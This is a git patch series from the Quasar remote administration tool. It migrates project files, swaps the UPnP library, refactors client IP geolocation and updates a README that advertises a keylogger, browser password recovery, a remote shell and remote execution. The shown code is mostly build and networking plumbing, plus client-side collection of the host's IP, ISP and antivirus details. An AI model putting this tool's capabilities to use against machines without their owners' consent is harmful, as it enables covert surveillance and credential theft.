..\packages\protobuf-net.2.4.0\lib\net40\protobuf-net.dll - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + 2.4.6 + - - + + + 4.7.0 + + + 4.7.0 + + + 4.7.0 + - - \ No newline at end of file diff --git a/Quasar.Common/packages.config b/Quasar.Common/packages.config deleted file mode 100644 index ac902325d..000000000 --- a/Quasar.Common/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Quasar.Server.Tests/Properties/AssemblyInfo.cs b/Quasar.Server.Tests/Properties/AssemblyInfo.cs deleted file mode 100644 index 1cc4e2b5d..000000000 --- a/Quasar.Server.Tests/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// Allgemeine Informationen über eine Assembly werden über folgende -// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, -// die einer Assembly zugeordnet sind. -[assembly: AssemblyTitle("Quasar Server Tests")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Quasar")] -[assembly: AssemblyCopyright("Copyright © MaxXor 2018")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Wenn ComVisible auf "false" festgelegt wird, sind die Typen innerhalb dieser Assembly -// für COM-Komponenten unsichtbar. Wenn Sie auf einen Typ in dieser Assembly von -// COM aus zugreifen müssen, sollten Sie das ComVisible-Attribut für diesen Typ auf "True" festlegen. -[assembly: ComVisible(false)] - -// Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird -[assembly: Guid("8586f5b1-2ef4-4f35-bd45-c6206fdc0ebc")] - -// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: -// -// Hauptversion -// Nebenversion -// Buildnummer -// Revision -// -// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern -// durch Einsatz von '*', wie in nachfolgendem Beispiel: -// [Assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.3.0.0")] -[assembly: AssemblyFileVersion("1.3.0.0")] diff --git a/Quasar.Server.Tests/Quasar.Server.Tests.csproj b/Quasar.Server.Tests/Quasar.Server.Tests.csproj deleted file mode 100644 index ecd2d0e27..000000000 --- a/Quasar.Server.Tests/Quasar.Server.Tests.csproj +++ /dev/null @@ -1,93 +0,0 @@ - - - - Debug - AnyCPU - {BF45108E-1E43-486B-A71D-5426BBB041DB} - Library - Properties - Quasar.Server.Tests - Quasar.Server.Tests - v4.0 - 512 - {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} - 10.0 - $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion) - $(ProgramFiles)\Common Files\microsoft shared\VSTT\$(VisualStudioVersion)\UITestExtensionPackages - False - UnitTest - - - true - full - false - ..\bin\Debug\ - DEBUG;TRACE - prompt - 4 - false - AnyCPU - - - none - true - ..\bin\Release\ - TRACE - prompt - 4 - false - - - - - - - - - - - - - - False - - - - - - - - - - {14ca405b-8bac-48ab-9fba-8fb5df88fd0d} - Quasar.Server - - - - - - - False - - - False - - - False - - - False - - - - - - - - \ No newline at end of file diff --git a/Quasar.Server/Networking/Server.cs b/Quasar.Server/Networking/Server.cs index 9f00e9d3d..411d377a8 100644 --- a/Quasar.Server/Networking/Server.cs +++ b/Quasar.Server/Networking/Server.cs @@ -231,7 +231,10 @@ public void Listen(ushort port, bool ipv6, bool enableUPnP) this.Port = port; if (enableUPnP) - _UPnPService = new UPnPService(port); + { + _UPnPService = new UPnPService(); + _UPnPService.CreatePortMapAsync(port); + } if (Socket.OSSupportsIPv6 && ipv6) { @@ -386,7 +389,7 @@ public void Disconnect() if (_UPnPService != null) { - _UPnPService.DeletePortMap(Port); + _UPnPService.DeletePortMapAsync(Port); _UPnPService = null; } diff --git a/Quasar.Server/Networking/UPnPService.cs b/Quasar.Server/Networking/UPnPService.cs index 278f45090..18c5bcfdf 100644 --- a/Quasar.Server/Networking/UPnPService.cs +++ b/Quasar.Server/Networking/UPnPService.cs @@ -1,6 +1,7 @@ -using Mono.Nat; +using Open.Nat; using System; using System.Collections.Generic; +using System.Threading; namespace Quasar.Server.Networking { @@ -14,112 +15,63 @@ public class UPnPService /// /// The discovered UPnP device. /// - private INatDevice _device; + private NatDevice _device; /// - /// The port used to create an mapping once a UPnP device was found. + /// The NAT discoverer used to discover NAT-UPnP devices. /// - private readonly int _port; - - /// - /// Initializes the discovery of new UPnP devices and creates a port mapping using the given port - /// once a suitable device was found. - /// - /// The port to map. - public UPnPService(int port) : this() - { - _port = port; - } + private NatDiscoverer _discoverer; /// /// Initializes the discovery of new UPnP devices. /// public UPnPService() { - NatUtility.DeviceFound += DeviceFound; - NatUtility.DeviceLost += DeviceLost; - NatUtility.StartDiscovery(); + _discoverer = new NatDiscoverer(); } - /// - /// States if an UPnP device was found. - /// - public bool DiscoveryCompleted => _device != null; - /// /// Creates a new port mapping on the UPnP device. /// /// The port to map. - public void CreatePortMap(int port) + public async void CreatePortMapAsync(int port) { - if (!DiscoveryCompleted) - return; - try { + var cts = new CancellationTokenSource(10000); + _device = await _discoverer.DiscoverDeviceAsync(PortMapper.Upnp, cts); + Mapping mapping = new Mapping(Protocol.Tcp, port, port); - _device.BeginCreatePortMap(mapping, EndCreateAsync, mapping); + await _device.CreatePortMapAsync(mapping); + + if (_mappings.ContainsKey(mapping.PrivatePort)) + _mappings[mapping.PrivatePort] = mapping; + else + _mappings.Add(mapping.PrivatePort, mapping); } - catch (MappingException) + catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException) { } } - private void EndCreateAsync(IAsyncResult ar) - { - var mapping = (Mapping) ar.AsyncState; - - _device?.EndCreatePortMap(ar); - - if (_mappings.ContainsKey(mapping.PrivatePort)) - _mappings[mapping.PrivatePort] = mapping; - else - _mappings.Add(mapping.PrivatePort, mapping); - } - - private void EndDeleteAsync(IAsyncResult ar) - { - var mapping = (Mapping)ar.AsyncState; - - _device?.EndDeletePortMap(ar); - - _mappings.Remove(mapping.PrivatePort); - } - /// - /// Deletes an existing port map. + /// Deletes an existing port mapping. /// - /// The port to delete. - public void DeletePortMap(int port) + /// The port mapping to delete. + public async void DeletePortMapAsync(int port) { - if (!DiscoveryCompleted) - return; - if (_mappings.TryGetValue(port, out var mapping)) { try { - _device.BeginDeletePortMap(mapping, EndDeleteAsync, mapping); + await _device.DeletePortMapAsync(mapping); + _mappings.Remove(mapping.PrivatePort); } - catch (MappingException) + catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException) { } } } - - private void DeviceFound(object sender, DeviceEventArgs args) - { - _device = args.Device; - NatUtility.StopDiscovery(); - - if (_port > 0) - CreatePortMap(_port); - } - - private void DeviceLost(object sender, DeviceEventArgs args) - { - _device = null; - } } } diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj index be97105f0..ce6c28df4 100644 --- a/Quasar.Server/Quasar.Server.csproj +++ b/Quasar.Server/Quasar.Server.csproj @@ -1,23 +1,14 @@ - - + - Debug - AnyCPU - 8.0.30703 - 2.0 - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D} + net452 WinExe - Properties - Quasar.Server Quasar - v4.0 - 512 - Client + true + false Quasar.Server.Program - icons\Quasar_Server.ico @@ -25,418 +16,324 @@ app.manifest - true ..\bin\Debug\ - DEBUG;TRACE true - full - AnyCPU false - prompt MinimumRecommendedRules.ruleset ..\bin\Release\ - TRACE true - true none - AnyCPU false - prompt MinimumRecommendedRules.ruleset - false - - ..\packages\BouncyCastle.1.8.5\lib\BouncyCastle.Crypto.dll - - - ..\packages\MouseKeyHook.5.6.0\lib\net40\Gma.System.MouseKeyHook.dll - - - ..\packages\Mono.Cecil.0.10.3\lib\net40\Mono.Cecil.dll - - - ..\packages\Mono.Cecil.0.10.3\lib\net40\Mono.Cecil.Mdb.dll - - - ..\packages\Mono.Cecil.0.10.3\lib\net40\Mono.Cecil.Pdb.dll - - - ..\packages\Mono.Cecil.0.10.3\lib\net40\Mono.Cecil.Rocks.dll - - - ..\packages\Mono.Nat.1.2.24.0\lib\net40\Mono.Nat.dll - - - ..\packages\protobuf-net.2.4.0\lib\net40\protobuf-net.dll - - - ..\packages\Vestris.ResourceLib.2.1.0\lib\net40\Vestris.ResourceLib.dll - - - - - - - + Component - - - - + Component - - - - + Component - + Component - + Component - - + Component - + WordTextBox.cs - + Form - + FrmCertificate.cs - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Form - + FrmAbout.cs - + Form - + FrmStartupAdd.cs - + Form - + FrmBuilder.cs - + Form - + FrmConnections.cs - + Form - + FrmDownloadAndExecute.cs - + Form - + FrmFileManager.cs - + Form - + FrmKeylogger.cs - + Form - + FrmMain.cs - + Component - + Form - + FrmPasswordRecovery.cs - + Form - + FrmRegistryEditor.cs - + Form - + FrmRegValueEditBinary.cs - + Form - + FrmRegValueEditMultiString.cs - + Form - + FrmRegValueEditString.cs - + Form - + FrmRegValueEditWord.cs - + Form - + FrmRemoteDesktop.cs - + Form - + FrmRemoteShell.cs - + Form - + FrmReverseProxy.cs - + Form - + FrmSettings.cs - + Form - + FrmShowMessagebox.cs - + Form - + FrmStartupManager.cs - + Form - + FrmSystemInformation.cs - + Form - + FrmTaskManager.cs - + Form - + FrmUploadAndExecute.cs - + Form - + FrmVisitWebsite.cs - + Form - + FrmUpdate.cs - - - - - - + FrmAbout.cs - + FrmCertificate.cs - + FrmStartupAdd.cs - + FrmBuilder.cs - + FrmConnections.cs - + FrmDownloadAndExecute.cs - + FrmFileManager.cs - + FrmKeylogger.cs - + FrmMain.cs Designer - + FrmPasswordRecovery.cs - + FrmRegistryEditor.cs - + FrmRegValueEditBinary.cs - + FrmRegValueEditMultiString.cs - + FrmRegValueEditString.cs - + FrmRegValueEditWord.cs - + FrmRemoteDesktop.cs Designer - + FrmRemoteShell.cs - + FrmReverseProxy.cs - + FrmSettings.cs - + FrmShowMessagebox.cs - + FrmStartupManager.cs - + FrmSystemInformation.cs - + FrmTaskManager.cs - + FrmUploadAndExecute.cs - + FrmVisitWebsite.cs - + FrmUpdate.cs - + ResXFileCodeGenerator Designer Resources.Designer.cs - - - Designer - - + SettingsSingleFileGenerator Settings.Designer.cs - + True True Resources.resx - + True Settings.settings True - - {c7c363ba-e5b6-4e18-9224-39bc8da73172} - Quasar.Common - + - - - - - - - + + + 1.8.6.1 + + + 0.11.2 + + + 5.6.0 + + + + 2.4.6 + + + 2.1.0 + + + \ No newline at end of file diff --git a/Quasar.Server/packages.config b/Quasar.Server/packages.config deleted file mode 100644 index caff89759..000000000 --- a/Quasar.Server/packages.config +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - \ No newline at end of file diff --git a/QuasarRAT.sln b/QuasarRAT.sln index c427c1467..1754b7498 100644 --- a/QuasarRAT.sln +++ b/QuasarRAT.sln @@ -1,72 +1,38 @@  Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio 15 -VisualStudioVersion = 15.0.28010.0 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30104.148 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quasar.Server", "Quasar.Server\Quasar.Server.csproj", "{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}" +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Server", "Quasar.Server\Quasar.Server.csproj", "{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}" EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quasar.Client", "Quasar.Client\Quasar.Client.csproj", "{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}" +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Client", "Quasar.Client\Quasar.Client.csproj", "{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}" EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quasar.Client.Tests", "Quasar.Client.Tests\Quasar.Client.Tests.csproj", "{7223F9B2-17A2-432B-ADAC-51B1E35681DB}" +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Common", "Quasar.Common\Quasar.Common.csproj", "{C7C363BA-E5B6-4E18-9224-39BC8DA73172}" EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quasar.Server.Tests", "Quasar.Server.Tests\Quasar.Server.Tests.csproj", "{BF45108E-1E43-486B-A71D-5426BBB041DB}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quasar.Common", "Quasar.Common\Quasar.Common.csproj", "{C7C363BA-E5B6-4E18-9224-39BC8DA73172}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quasar.Common.Tests", "Quasar.Common.Tests\Quasar.Common.Tests.csproj", "{CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}" +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Common.Tests", "Quasar.Common.Tests\Quasar.Common.Tests.csproj", "{32A2A734-7429-47E6-A362-E344A19C0D85}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU Debug|Mixed Platforms = Debug|Mixed Platforms - Release|Any CPU = Release|Any CPU Release|Mixed Platforms = Release|Mixed Platforms EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Any CPU.Build.0 = Debug|Any CPU {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Any CPU.Build.0 = Release|Any CPU {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Mixed Platforms.Build.0 = Release|Any CPU - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|Any CPU.ActiveCfg = Debug|x86 {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|Mixed Platforms.Build.0 = Debug|x86 - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|Any CPU.ActiveCfg = Release|x86 {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|Mixed Platforms.ActiveCfg = Release|x86 {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|Mixed Platforms.Build.0 = Release|x86 - {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Debug|Any CPU.ActiveCfg = Debug|x86 - {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 - {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Debug|Mixed Platforms.Build.0 = Debug|x86 - {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Release|Any CPU.ActiveCfg = Release|x86 - {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Release|Mixed Platforms.ActiveCfg = Release|x86 - {7223F9B2-17A2-432B-ADAC-51B1E35681DB}.Release|Mixed Platforms.Build.0 = Release|x86 - {BF45108E-1E43-486B-A71D-5426BBB041DB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {BF45108E-1E43-486B-A71D-5426BBB041DB}.Debug|Any CPU.Build.0 = Debug|Any CPU - {BF45108E-1E43-486B-A71D-5426BBB041DB}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU - {BF45108E-1E43-486B-A71D-5426BBB041DB}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU - {BF45108E-1E43-486B-A71D-5426BBB041DB}.Release|Any CPU.ActiveCfg = Release|Any CPU - {BF45108E-1E43-486B-A71D-5426BBB041DB}.Release|Any CPU.Build.0 = Release|Any CPU - {BF45108E-1E43-486B-A71D-5426BBB041DB}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU - {BF45108E-1E43-486B-A71D-5426BBB041DB}.Release|Mixed Platforms.Build.0 = Release|Any CPU - {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|Any CPU.Build.0 = Debug|Any CPU {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU - {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|Any CPU.Build.0 = Release|Any CPU {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|Mixed Platforms.Build.0 = Release|Any CPU - {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Debug|Any CPU.Build.0 = Debug|Any CPU - {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU - {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU - {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Release|Any CPU.ActiveCfg = Release|Any CPU - {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Release|Any CPU.Build.0 = Release|Any CPU - {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU - {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}.Release|Mixed Platforms.Build.0 = Release|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|Mixed Platforms.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/README.md b/README.md index a874823a7..cfcefe06f 100644 --- a/README.md +++ b/README.md @@ -12,45 +12,42 @@ Quasar is a fast and light-weight remote administration tool coded in C#. The us * TCP network stream (IPv4 & IPv6 support) * Fast network serialization (Protocol Buffers) * Compressed (QuickLZ) & Encrypted (TLS) communication -* Multi-Threaded * UPnP Support -* No-Ip.com Support -* Visit Website (hidden & visible) -* Show Messagebox * Task Manager * File Manager * Startup Manager * Remote Desktop * Remote Shell -* Download & Execute -* Upload & Execute +* Remote Execution * System Information -* Computer Commands (Restart, Shutdown, Standby) +* Registry Editor +* System Power Commands (Restart, Shutdown, Standby) * Keylogger (Unicode Support) * Reverse Proxy (SOCKS5) * Password Recovery (Common Browsers and FTP Clients) -* Registry Editor +* ... and many more! ## Supported runtimes and operating systems -* .NET Framework 4.0 Client Profile or higher ([Download](https://www.microsoft.com/en-us/download/details.aspx?id=24872)) +* .NET Framework 4.5.2 or higher * Supported operating systems (32- and 64-bit) - * Windows XP SP3 - * Windows Server 2003 - * Windows Vista - * Windows Server 2008 - * Windows 7 - * Windows Server 2012 - * Windows 8/8.1 * Windows 10 + * Windows Server 2019 + * Windows Server 2016 + * Windows 8/8.1 + * Windows Server 2012 + * Windows 7 + * Windows Server 2008 + * Windows Vista +* For older systems please use [Quasar version 1.3.0](https://github.com/quasar/QuasarRAT/releases/tag/v1.3.0.0) ## Compiling -Open the project in Visual Studio 2017+ and [restore the NuGET packages](https://docs.microsoft.com/en-us/nuget/consume-packages/package-restore). Once all packages are installed the project can be compiled as usual by clicking `Build` on the top or by pressing `F6`. See below which build configuration to choose from. +Open the project in Visual Studio 2019+ and [restore the NuGET packages](https://docs.microsoft.com/en-us/nuget/consume-packages/package-restore). Once all packages are installed the project can be compiled as usual by clicking `Build` on the top or by pressing `F6`. See below which build configuration to choose from. ## Building a client | Build configuration | Usage scenario | Description | ----------------------------|----------------|-------------- | Debug configuration | Testing | The pre-defined [Settings.cs](/Quasar.Client/Config/Settings.cs) will be used, so edit this file before compiling the client. You can execute the client directly with the specified settings. -| Release configuration | Live use | Start `Quasar.exe` and use the client builder. +| Release configuration | Production | Start `Quasar.exe` and use the client builder. ## Contributing See [CONTRIBUTING.md](CONTRIBUTING.md) From 4bbe8da7aedb722aa3195458b3c9a53d00c21cfc Mon Sep 17 00:00:00 2001 From: MaxXor Date: Tue, 19 May 2020 21:03:21 +0200 Subject: [PATCH 171/229] Update AppVeyor image to Visual Studio 2019 --- appveyor.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/appveyor.yml b/appveyor.yml index d484f57de..91e1f0589 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -1,6 +1,6 @@ version: BUILD{build} -image: Visual Studio 2017 +image: Visual Studio 2019 shallow_clone: true configuration: From 574713307d37d69d710a404d861380ce83753495 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 20 May 2020 23:08:58 +0200 Subject: [PATCH 172/229] Update IP geolocation retrieval, use TLS 1.2 --- Quasar.Client/Commands/SystemHandler.cs | 12 +- Quasar.Client/Data/GeoInformation.cs | 37 ---- Quasar.Client/Helper/DateTimeHelper.cs | 16 ++ Quasar.Client/Helper/GeoLocationHelper.cs | 192 ------------------ Quasar.Client/ILRepack.targets | 2 +- Quasar.Client/IpGeoLocation/GeoInformation.cs | 16 ++ .../IpGeoLocation/GeoInformationFactory.cs | 47 +++++ .../IpGeoLocation/GeoInformationRetriever.cs | 186 +++++++++++++++++ Quasar.Client/IpGeoLocation/GeoResponse.cs | 82 ++++++++ Quasar.Client/Networking/Client.cs | 2 +- Quasar.Client/Networking/QuasarClient.cs | 11 +- Quasar.Client/Program.cs | 5 +- Quasar.Client/Quasar.Client.csproj | 2 + Quasar.Client/images/information.png | Bin 898 -> 0 bytes .../Messages/ClientIdentification.cs | 18 +- Quasar.Server/Networking/QuasarServer.cs | 2 - Quasar.Server/Networking/Server.cs | 2 +- Quasar.Server/Networking/UserState.cs | 2 - Quasar.Server/Program.cs | 8 +- Quasar.Server/Utilities/NoIpUpdater.cs | 2 +- 20 files changed, 382 insertions(+), 262 deletions(-) delete mode 100644 Quasar.Client/Data/GeoInformation.cs create mode 100644 Quasar.Client/Helper/DateTimeHelper.cs delete mode 100644 Quasar.Client/Helper/GeoLocationHelper.cs create mode 100644 Quasar.Client/IpGeoLocation/GeoInformation.cs create mode 100644 Quasar.Client/IpGeoLocation/GeoInformationFactory.cs create mode 100644 Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs create mode 100644 Quasar.Client/IpGeoLocation/GeoResponse.cs delete mode 100644 Quasar.Client/images/information.png diff --git a/Quasar.Client/Commands/SystemHandler.cs b/Quasar.Client/Commands/SystemHandler.cs index 40d6b14f3..8d3ab92c9 100644 --- a/Quasar.Client/Commands/SystemHandler.cs +++ b/Quasar.Client/Commands/SystemHandler.cs @@ -9,6 +9,7 @@ using Quasar.Client.Config; using Quasar.Client.Data; using Quasar.Client.Extensions; +using Quasar.Client.IpGeoLocation; using Quasar.Client.Helper; using Quasar.Client.Utilities; using Quasar.Common.Enums; @@ -355,6 +356,8 @@ public static void HandleGetSystemInfo(GetSystemInfo command, Networking.Client var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-"; var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; + var geoInfo = GeoInformationFactory.GetGeoInformation(); + List> lstInfos = new List> { new Tuple("Processor (CPU)", DevicesHelper.GetCpuName()), @@ -369,12 +372,13 @@ public static void HandleGetSystemInfo(GetSystemInfo command, Networking.Client new Tuple("Uptime", SystemHelper.GetUptime()), new Tuple("MAC Address", DevicesHelper.GetMacAddress()), new Tuple("LAN IP Address", DevicesHelper.GetLanIp()), - new Tuple("WAN IP Address", GeoLocationHelper.GeoInfo.Ip), + new Tuple("WAN IP Address", geoInfo.IpAddress), + new Tuple("ASN", geoInfo.Asn), + new Tuple("ISP", geoInfo.Isp), new Tuple("Antivirus", SystemHelper.GetAntivirus()), new Tuple("Firewall", SystemHelper.GetFirewall()), - new Tuple("Time Zone", GeoLocationHelper.GeoInfo.Timezone), - new Tuple("Country", GeoLocationHelper.GeoInfo.Country), - new Tuple("ISP", GeoLocationHelper.GeoInfo.Isp) + new Tuple("Time Zone", geoInfo.Timezone), + new Tuple("Country", geoInfo.Country) }; client.Send(new GetSystemInfoResponse {SystemInfos = lstInfos}); diff --git a/Quasar.Client/Data/GeoInformation.cs b/Quasar.Client/Data/GeoInformation.cs deleted file mode 100644 index 71ccd7228..000000000 --- a/Quasar.Client/Data/GeoInformation.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System.Runtime.Serialization; - -namespace Quasar.Client.Data -{ - [DataContract] - public class GeoInformation - { - [DataMember(Name = "as")] - public string As { get; set; } - [DataMember(Name = "city")] - public string City { get; set; } - [DataMember(Name = "country")] - public string Country { get; set; } - [DataMember(Name = "countryCode")] - public string CountryCode { get; set; } - [DataMember(Name = "isp")] - public string Isp { get; set; } - [DataMember(Name = "lat")] - public double Lat { get; set; } - [DataMember(Name = "lon")] - public double Lon { get; set; } - [DataMember(Name = "org")] - public string Org { get; set; } - [DataMember(Name = "query")] - public string Ip { get; set; } - [DataMember(Name = "region")] - public string Region { get; set; } - [DataMember(Name = "regionName")] - public string RegionName { get; set; } - [DataMember(Name = "status")] - public string Status { get; set; } - [DataMember(Name = "timezone")] - public string Timezone { get; set; } - [DataMember(Name = "zip")] - public string Zip { get; set; } - } -} diff --git a/Quasar.Client/Helper/DateTimeHelper.cs b/Quasar.Client/Helper/DateTimeHelper.cs new file mode 100644 index 000000000..90405a048 --- /dev/null +++ b/Quasar.Client/Helper/DateTimeHelper.cs @@ -0,0 +1,16 @@ +using System; + +namespace Quasar.Client.Helper +{ + public static class DateTimeHelper + { + public static string GetLocalTimeZone() + { + var tz = TimeZoneInfo.Local; + var tzOffset = tz.GetUtcOffset(DateTime.Now); + var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : ""; + var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName; + return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})"; + } + } +} diff --git a/Quasar.Client/Helper/GeoLocationHelper.cs b/Quasar.Client/Helper/GeoLocationHelper.cs deleted file mode 100644 index 0a6ed1b23..000000000 --- a/Quasar.Client/Helper/GeoLocationHelper.cs +++ /dev/null @@ -1,192 +0,0 @@ -using System; -using System.IO; -using System.Net; -using System.Runtime.Serialization.Json; -using System.Text; -using System.Xml; -using Quasar.Client.Data; - -namespace Quasar.Client.Helper -{ - public static class GeoLocationHelper - { - public static readonly string[] ImageList = - { - "ad", "ae", "af", "ag", "ai", "al", - "am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba", - "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", - "br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc", - "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr", - "cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do", - "dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et", - "europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga", - "gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq", - "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht", - "hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm", - "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw", - "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu", - "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm", - "mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx", - "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np", - "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", 